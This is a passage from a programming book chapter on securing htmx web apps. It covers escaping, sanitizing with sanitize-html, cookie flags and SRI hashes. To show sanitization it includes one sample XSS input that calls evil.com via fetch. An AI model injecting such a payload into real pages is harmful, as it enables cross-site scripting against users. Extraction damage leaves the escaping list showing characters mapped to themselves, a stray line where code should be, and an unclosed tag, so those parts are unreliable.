This extract shows the online version of this title, and may contain features (such as hyperlinks and colors) that are not available in the print version.

For more information, or to purchase a paperback or ebook copy, please visit https://www.pragprog.com.

CHAPTER 7

Adding Security

There are many steps you can take to improve the security of web applications. The techniques described here are good practices to adopt in any web application, regardless of whether htmx is used.

Security is especially important when using htmx because it is all about obtaining HTML from endpoints and inserting it into the DOM. This is potentially dangerous if precautions are not taken.

Scrutinize Resources

Resources used by web applications include HTML, CSS, JavaScript, plain text, JSON, XML, SVG, images, audio, videos, fonts, and more.

There are several ways that a web application can download resources. HTML elements such as `a` (anchor), `audio`, `form`, `img`, `link`, `script`, and `video` all have an attribute that specifies the URL of a resource to download. The JavaScript function `fetch` and the `XMLHttpRequest` `open` method also download a resource.

Web applications should only download resources from trusted sites. The best case scenario is to only send HTTP requests to endpoints that you control.

Fortunately, when using htmx the endpoints that return HTML to be inserted into the page are nearly always at the same domain as the web app. Htmx version 2 requires this by default.

Escape User-supplied Content

It is common for htmx endpoints to insert user-supplied text into the HTML to be returned. Endpoints should escape all user-supplied text before inserting it. This involves replacing the following characters with their character entity equivalents.

- & to &
- < to <
- > to >
- " to "
- ' to '
- / to /
- ` (backtick) to `
- = to =

Replacing angle brackets prevents <script> tags in user-supplied content from being executed by the browser.

Many HTML templating approaches perform escaping automatically. In the Hono TypeScript library, strings processed by the html tagged template literal are escaped. In the Python Flask framework, strings are escaped when they are passed to a Jinja template.

As a best practice, use templating approaches that provide escaping.

Sanitize User-supplied Content

Before escaping user-supplied text, consider sanitizing it. This removes all potentially unsafe HTML such as <script> elements.

Suppose a user entered the following text for their street address:

```
123 Some Lane <script>fetch('https://evil.com/attack')</script>
```

What will happen if this text is only escaped and it is used as the text content of an HTML element such as a div? Fortunately the browser will not execute the script. But it will display the text exactly as the user entered it, including <script>fetch('https://evil.com/attack')</script>.

If the text is sanitized then the script element will be removed. When the div is rendered, the user will only see "123 Some Lane".

A good JavaScript library for sanitizing HTML is sanitize-html[1]. This provides the function sanitizeHtml which strips out all elements that are not in an approved list. The script element is not in the approved list because it has the possibility to do malicious things.

To use this library, install it using npm install or bun add.

The following code demonstrates using the sanitize-html library in a web app built with the Hono library. Suppose users can enter any HTML into a textarea

1. https://github.com/apostrophecms/sanitize-html

element with the name markup inside a form that is submitted to the following endpoint. The endpoint returns HTML that includes a sanitized version of that HTML.

AddingSecurity/sanitize.tsx

```
import {type Context, Hono} from 'hono';
import sanitizeHtml from 'sanitize-html';

const app = new Hono();

app.post('/render', async (c: Context) => {
  const data = await c.req.formData();
  const markup = data.get('markup');
  return c.html(
    <section>
      <h2>Your Content<h2>
      {sanitizeHtml(markup)}
    </section>
  );
});
```

It is safe to use user-supplied content that has been sanitized and/or escaped as the text content of HTML elements. However, it is not safe to use such content for custom element names, attribute names, or in CSS rules.

Make Cookies Secure

Cookies sometimes hold sensitive information such as authentication tokens. It is important to make the use of such cookies secure. Setting the following HTTP response headers achieves this.

Header	Security Impact
HttpOnly	prevents JavaScript code from accessing cookies with document.cookie
SameSite=Lax	prevents cookies from being sent in cross-site requests
Secure	prevents cookies from being sent over HTTP; requires HTTPS

Hono Response Headers

Recall from the chapter “Exploring Server Options” that when using Hono, the following code adds a response header:

The code tag should not be here.

Make CDN Downloads Safer

Resources like JavaScript libraries and fonts can be obtained from Content Delivery Networks (CDNs). This is a convenient way to get started quickly

when building a new web application. However, there are good reasons to avoid using CDNs when your apps go into production.

Using CDNs makes your app dependent on their availability and speed. Typically neither of these is an issue. But copying the files from CDNs to your own server eliminates these potential issues.

Getting resources from a CDN also introduces a security risk. A hacker could replace files served by the CDN with malicious ones. This can be detected by using SubResource Integrity (SRI) hashes.

Using SRI hashes is easy. You just need to determine the hash of each CDN file to be downloaded and include an integrity attribute in script and link tags that reference them.

Here is an example of a script tag that safely downloads the htmx library from a CDN:

```
<script
  src="https://unpkg.com/htmx.org@1.9.11"
  integrity="sha384-D1Kt99CQMDuVetoL1lrYwg5t+9QdHe7NLX/SoJYkXDFfX37iInKRy5xLSi8nO7UC"
  crossorigin="anonymous"
></script>
```

The integrity value must begin with a string that identifies the hash algorithm (ex. “sha384”), followed by a dash and the hash.

The hash value above was obtained from documentation at the official htmx docs[2]. It can also be computed from the content of the file using the SRI Hash Generator[3]. Entering the URL in the src attribute above into the SRI Hash Generator yields the same hash value shown in the integrity attribute above.

One way to generate a hash for a trusted, local file is to use the openssl command. For example, the following bash command will output the SHA-384 hash of the file my-script.js:

```
cat my-script.js | openssl dgst -sha384 -binary | openssl base64 -A
```

SRI is not typically enforced for scripts loaded from the same origin because those are assumed to be trusted.

2. https://htmx.org/docs/#installing
3. https://www.srihash.org